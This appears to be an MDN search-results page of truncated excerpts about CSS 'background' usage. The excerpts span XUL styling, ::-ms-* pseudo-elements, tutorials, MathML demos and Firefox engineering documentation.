background images for specific color scheme) temp file (used for styles associated with temporary features and ad-related pages) 1 print media file 1 aural media file 3 master alternate style sheets which import 1 file each the 3 imported files set alternate font sizes (small, large, larger) how much did the size of a typical wired news page shrink?
...it also eliminates most of the
background colors and images to save on printer ink.
XUL user interfaces - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: /*** xul demonstration ***/ window { -moz-box-align: start;
background-color: -moz-dialog; font: -moz-dialog; padding: 2em; } .head-1 { font-weight: bold; font-size: 200%; padding-left: 5px; } /* the group box */ .demo-group { padding: 1em; } .demo-group grid { margin-bottom: 1em; } .demo-group column { margin-right: .5em; } .demo-group row { margin-bottom: .5em; } .demo-group .buttons { -moz-box-pack: end; } /* the day-of-...
... using this knowledge, add a rule to the stylesheet that makes the
background of the date box pale blue when it has keyboard focus (but white when keyboard focus is somewhere else).
Images, Tables, and Mysterious Gaps - Archive of obsolete content
in the simplest case, we might add a style like this: td img {display: block;} consider this rule when applied to the following markup: <table cellspacing="0" cellpadding="0" border="0" width="500"> <tr><td><img src="nav1.gif"><img src="nav2.gif"><img src="nav3.gif"><img src="nav4.gif"><img src="nav5.gif"></td></tr> <tr><td style="
background: red;"> <img src="smallred.gif" height="1" width="1"></td></tr> <tr><td> <p style="margin: 0.5em;">this is text in another cell of the table.
...thus you might have: tr.decoration img {display: block;} ...along with the following change in the markup: <tr class="decoration"><td style="
background: red;"> <img src="smallred.gif" height="1" width="1"> </td></tr> the result is that of only making the spacer gif block-level, thus leaving the other images alone.
Fast Graphics Performance With HTML - Archive of obsolete content
use <div><div style="
background:white; position:fixed">simple</div>lots of text...</div> instead of <div><div style="position:fixed">simple</div>lots of text...</div> make the content of scrollable sub frames opaque e.g.
... use <div style="overflow:scroll><div style="
background:white"><p>this is some text</p><p>and some more</p></div></div> instead of <div style="overflow:scroll><p>this is some text</p><p>and some more</p></div> animating 'transform' and 'opacity' properties can be done with the compositor which makes them efficient to animate ...
width - Archive of obsolete content
<hbox> <hbox width="40" style="
background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
... <vbox width="30" align="start" style="
background-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object.
Menus - Archive of obsolete content
a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktop
background sets an image as the desktop
background images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a page context-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a...
... page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a
background image context-undo undo editable text context-cut cuts to clipboard editable text context-copy copies to clipboard context-paste pastes from clipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source ...
Things I've tried to do with XUL - Archive of obsolete content
<vbox flex="1"> <box height="30%" flex="1" style="
background: green;"/> <box height="20%" flex="1" style="
background: red;"/> <box height="50%" flex="1" style="
background: blue;"/> </vbox> workaround: no real good ones; the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="
background: green;"/> <box style="height: 20%" flex="1" style...
...="
background: green;"/> <box style="height: 50%" flex="1" style="
background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
Modifying the Default Skin - Archive of obsolete content
for example, by adding the following to the end of the file, you can change all menubar elements to have a red
background.
... menubar {
background-color: red; } if you open any firefox window after making this change, the menu bars will be red.
Popup Menus - Archive of obsolete content
example 2 : source view <button label="save" tooltiptext="click here to save your stuff"/> <popupset> <tooltip id="moretip" orient="vertical" style="
background-color: #33dd00;"> <description value="click here to see more information"/> <description value="really!" style="color: red;"/> </tooltip> </popupset> <button label="more" tooltip="moretip"/> these two buttons each have a tooltip.
...the second uses a custom tooltip that has a different
background color and styled text.
The Implementation of the Application Object Model - Archive of obsolete content
the native widgets also wouldn't be fully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered
background.
... of course you could always say that toolbars and dialogs just wouldn't be able to have
backgrounds with different colors, but that leads into the next point.
dialog - Archive of obsolete content
tonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
prefwindow - Archive of obsolete content
id="pref-backup" name="myapp.mybackups" type="bool"/> <preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/> </preferences> <checkbox label="automatically save backups" preference="pref-backup"/> <textbox label="duration:" preference="pref-backupduration"/> </prefpane> </prefwindow> attributes activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
tree - Archive of obsolete content
interfaces nsiaccessibleprovider, nsidomxultreeelement, nsidomxulmultiselectcontrolelement script examples to have alternating colors for each row, use the style rules like the following: treechildren::-moz-tree-row(selected) {
background-color: #ffffaa; } treechildren::-moz-tree-row(odd) {
background-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) {
background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } if using a content tree view, use the following to get the value of the id attribute for each of the selecte...
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check-dis.gif") } treechildren::-moz-tree-row(selected) {
background-color: #ffffaa; } treechildren::-moz-tree-row(odd) {
background-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) {
background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } treechildren::-moz-tree-row(hover) {
background-color: #ffffaa !important;} treechi...
window - Archive of obsolete content
activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
wizard - Archive of obsolete content
= (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="checkcode();"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> attributes activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
Theme changes in Firefox 3.5 - Archive of obsolete content
for the windows and linux native default themes, the gripper is now drawn as a part of the
background of the scrollbar thumb widget.
... third-party themes can still draw a gripper for the scrollbar thumb button by applying a centered
background image to the scrollbar's thumb button.
::-ms-browse - Archive of obsolete content
-ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style bo...
...nt-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red;
background-color: yellow; } result output example specifications not part of any specification.
::-ms-fill-lower - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width specifications not part of any specification.
::-ms-fill-upper - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-fill-upper specifications not part of any specification.
::-ms-fill - Archive of obsolete content
animation-name
background-clip,
background-color,
background-image,
background-origin,
background-repeat, and
background-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform...
...-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill {
background-color: orange; } result a progress bar using this style might look something like this: ...
::-ms-reveal - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-reveal specifications not part of any specification.
::-ms-thumb - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
...border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification.
::-ms-ticks-after - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-after ...
::-ms-ticks-before - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-before ...
::-ms-track - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius ...
... border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-track see also ::-ms-thumb ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-runnable-track ::-moz-range-track css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-value - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color cursor...
... display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-value example input::-ms-value { color: lime; font-style: italic; } to disable the default styling: select::-ms-value {
background-color: transparent; color: inherit; } specifications not part of any specification.
Building up a basic demo with A-Frame - Game development
adding a
background: sky box a sky box is a
background for the 3d world, represented by an <a-sky> element.
...add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom
background: here's the code we have created so far: you can also check it out on github.
GLSL Shaders - Game development
to speed up the
background code we will be using the three.js api.
...we've used three.js here to make the
background code a lot simpler and clearer to understand, so you can just focus on the shader code.
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
to represent a color through which the
background can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... as you can see, the color without an alpha channel completely blocks the
background text, while the box with the alpha channel leaves it visible through the purple
background color.
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
for example,
background shorthand property values are made up of several
background-* longhand properties.
... the canonical order of those longhand values is defined as
background-image
background-position
background-size
background-repeat
background-attachment
background-origin
background-clip
background-color furthermore, its syntax defines, that if a value for the
background-size is given, it must be specified after the value for the
background-position, separated by a slash.
A cool-looking box - Learn web development
objective: to test comprehension of the css box model and other box-related features such as borders and
backgrounds.
...give the box this color as its
background color.
Combinators - Learn web development
if you insert some other element such as a <h2> in between the <h1> and the <p>, you will find that the paragraph is no longer matched by the selector and so does not get the
background and foreground color applied when the element is adjacent.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Beginner's guide to media queries - Learn web development
walkthrough: a simple mobile-first layout our starting point is an html document with some css applied to add
background colors to the various parts of the layout.
... * { box-sizing: border-box; } body { width: 90%; margin: 2em auto; font: 1em/1.3 arial, helvetica, sans-serif; } a:link, a:visited { color: #333; } nav ul, aside ul { list-style: none; padding: 0; } nav a:link, nav a:visited {
background-color: rgba(207, 232, 220, 0.2); border: 2px solid rgb(79, 185, 227); text-decoration: none; display: block; padding: 10px; color: #333; font-weight: bold; } nav a:hover {
background-color: rgba(207, 232, 220, 0.7); } .related {
background-color: rgba(79, 185, 227, 0.3); border: 1px solid rgb(79, 185, 227); padding: 10px; } .sidebar {
background-color: rgba(207, 232, 220, 0.5); padding: 10px; } article { margin-bottom: 1em; } we've made no layout changes, however the sour...
What is CSS? - Learn web development
for example, you could take a look at the mdn reference to the
backgrounds and borders module to find out what its purpose is, and what different properties and other features it contains.
... for a specific example, let's go back to the
backgrounds and borders module — you might think that it makes logical sense for the
background-color and border-color properties to be defined in this module.
Learn to style HTML using CSS - Learn web development
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
... from the beginning, you'll primarily apply colors to html elements and their
backgrounds; change the size, shape, and position of elements; and add and define borders on elements.
What are browser developer tools? - Learn web development
this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.
backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get.
... alert('hello!); document.cheeseselector('html').style.
backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns.
Example 2 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } javascript conte...
Example 3 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } javascript cont...
Example 4 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } javascript cont...
Example 5 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; ...
... height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } javascript cont...
Getting started with the Web - Learn web development
what
background images and colors should be used to decorate your website?
... how the web works when you access your favorite website, a lot of complicated things happen in the
background that you may not know about.
From object to iframe — other embedding technologies - Learn web development
id="code" class="input" style="width: 95%;min-height: 100px;"> </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); const output = document.queryselector('.output'); let code = textarea.value; let userentry = textarea.value; function updatecode() { output.innerhtml = textarea.value; } reset.addeventlistener('click', function() { textarea.valu...
... note: you can read frederik braun's post on the x-frame-options security header for more
background information on this topic.
Introducing asynchronous JavaScript - Learn web development
async callbacks async callbacks are functions that are specified as arguments when calling a function which will start executing code in the
background.
... when the
background code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happened.
Drawing graphics - Learn web development
graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first via the <img> element and later via css properties such as
background-image, and svg.
...we'll color the canvas
background black to give you a first taste of the canvas api.
Video and Audio APIs - Learn web development
first of all, notice the .controls styling: .controls { visibility: hidden; opacity: 0.5; width: 400px; border-radius: 10px; position: absolute; bottom: 20px; left: 50%; margin-left: -200px;
background-color: black; box-shadow: 3px 3px 5px black; transition: 1s all; display: flex; } .player:hover .controls, player:focus .controls { opacity: 1; } we start off with the visibility of the custom controls set to hidden.
... last but not least, let's look at the css for the timer: .timer { line-height: 38px; font-size: 10px; font-family: monospace; text-shadow: 1px 1px 0px black; color: white; flex: 5; position: relative; } .timer div { position: absolute;
background-color: rgba(255,255,255,0.2); left: 0; top: 0; width: 0; height: 38px; z-index: 2; } .timer span { position: absolute; z-index: 3; left: 19px; } we set the outer .timer <div> to have flex: 5, so it takes up most of the width of the controls bar.
Multimedia: Images - Learn web development
the first thing to check is that your content images use <img> elements and your
background images are defined in css with
background-image — images referenced in <img> elements are assigned a higher loading priority than
background images.
... for any
background images, it's important you set a
background-color value so any content overlaid is still readable before the image has downloaded.
Perceived performance - Learn web development
first paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple
background color update or something even less noticable.
...first contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreground or
background image, or a canvas or svg; capturing the very beginning of the loading experience.
Multimedia: video - Learn web development
video autoplay to ensure that a looping
background video autoplays, you must add several attributes to the video tag: autoplay, muted, and playsinline.
... <video autoplay="" loop="" muted="true" playsinline="" src="
backgroundvideo.mp4"> while the loop and autoplay make sense for a looping and autoplaying video, the muted attribute is required for autoplay in mobile browsers.
Properly configuring server MIME types - Learn web development
background by default, many web servers are configured to report a mime type of text/plain or application/octet-stream for unknown content types.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents technical
background registered values for mime types are available in iana | mime media types.
Understanding client-side JavaScript frameworks - Learn web development
we'll discover a little bit of detail about its
background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app, learning a bit about how react works in the process.
...in this article, we'll look at a little bit of vue
background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
Eclipse CDT Manual Setup
some of it like the section on building the index and usage tips are still relevant, and other parts still may provide useful
background information to understand it in more detail on how eclipse works.
... important
background to help you make sense of the instructions that follow (and so that you can modify them to meet your own needs if necessary), this section provides some
background on what ides need in order to provide advanced code assistance, and what eclipse cdt needs in particular.
Linux compatibility matrix
distribution kernel glibc glib gtk+2 gtk+3 pixman stdc++ gcc clang python3 released eol notes red
backgrounds denote lack of compatibility with current versions of firefox.
... yellow
backgrounds denote compatibility with esr78 green
backgrounds denote compatibility with the current release (as of writing, 78) greener
backgrounds denote compatibility with the current mozilla-central (as of writing, 80).
Performance best practices for Firefox front-end engineers
you can do that using requestidlecallback() and the cooperative scheduling of
background tasks api, and doing it only when we have a free second where presumably the user isn’t doing something.
...for example, transitioning the
background-color of a dom node from red to blue will result in a repaint for every frame of the animation, and paint flashing will reveal that.
CSS -moz-bool-pref() @supports function
html <div id="pref-test"> this will have a green
background if the <code>test</code> preference is enabled.
... </div> css @supports -moz-bool-pref("test") { #pref-test {
background: green; } } @supports not -moz-bool-pref("test") { #pref-test {
background: red; } } result ...
IME handling guide
background color, foreground color (text color) and underline color can be specified with following prefs.
... ui.imerawinput
background ui.imerawinputforeground ui.imerawinputunderline ui.imeselectedrawtext
background ui.imeselectedrawtextforeground ui.imeselectedrawtextunderline ui.imeconvertedtext
background ui.imeconvertedtextforeground ui.imeconvertedtextunderline ui.imeselectedconvertedtext
background ui.imeselectedconvertedtextforeground ui.imeselectedconvertedtextunderline underline style can be specified with the following prefs.
Localizing with Koala
this will execute "hg add" on this file in the
background.
... koala will execute "hg commit" in the
background and will let you know that the files were successfully committed.
Basics
mathml
background image html content <div class="
background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <m...
...ub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="
background"] {
background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a
background image at a desired opacity mathml
background image html content <div class="
background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</...
